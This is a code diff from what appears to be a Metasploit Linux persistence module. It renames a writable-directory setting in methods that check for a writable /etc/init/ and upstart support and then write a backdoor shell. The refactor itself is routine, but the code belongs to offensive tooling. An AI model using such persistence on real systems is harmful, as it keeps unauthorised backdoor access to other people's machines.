File tree Expand file tree Collapse file tree 1 file changed +4
-4
lines changed
modules/exploits/linux/persistence Expand file tree Collapse file tree 1 file changed +4
-4
lines changed Original file line number Diff line number Diff line change @@ -77,17 +77,17 @@ def initialize(info = {})
77
77
end
78
78
79
79
def check
80
- print_warning ( 'Payloads in /tmp will only last until reboot, you want to choose elsewhere.' ) if datastore [ 'WritableDir' ] . start_with? ( '/tmp' )
81
- return CheckCode ::Safe ( "#{ datastore [ 'WritableDir' ] } isnt writable" ) unless writable? ( datastore [ 'WritableDir' ] )
80
+ print_warning ( 'Payloads in /tmp will only last until reboot, you want to choose elsewhere.' ) if writable_dir . start_with? ( '/tmp' )
81
+ return CheckCode ::Safe ( "#{ writable_dir } isnt writable" ) unless writable? ( writable_dir )
82
82
return CheckCode ::Safe ( '/etc/init/ isnt writable' ) unless writable? ( '/etc/init/' )
83
83
84
84
return CheckCode ::Safe ( 'Likely not an upstart based system' ) unless command_exists? ( 'initctl' )
85
85
86
- CheckCode ::Appears ( "#{ datastore [ 'WritableDir' ] } is writable and system is upstart based" )
86
+ CheckCode ::Appears ( "#{ writable_dir } is writable and system is upstart based" )
87
87
end
88
88
89
89
def install_persistence
90
- backdoor = write_shell ( datastore [ 'WritableDir' ] )
90
+ backdoor = write_shell ( writable_dir )
91
91
92
92
path = backdoor . split ( '/' ) [ 0 ...-1 ] . join ( '/' )
93
93
file = backdoor . split ( '/' ) [ -1 ]
You can’t perform that action at this time.
0 commit comments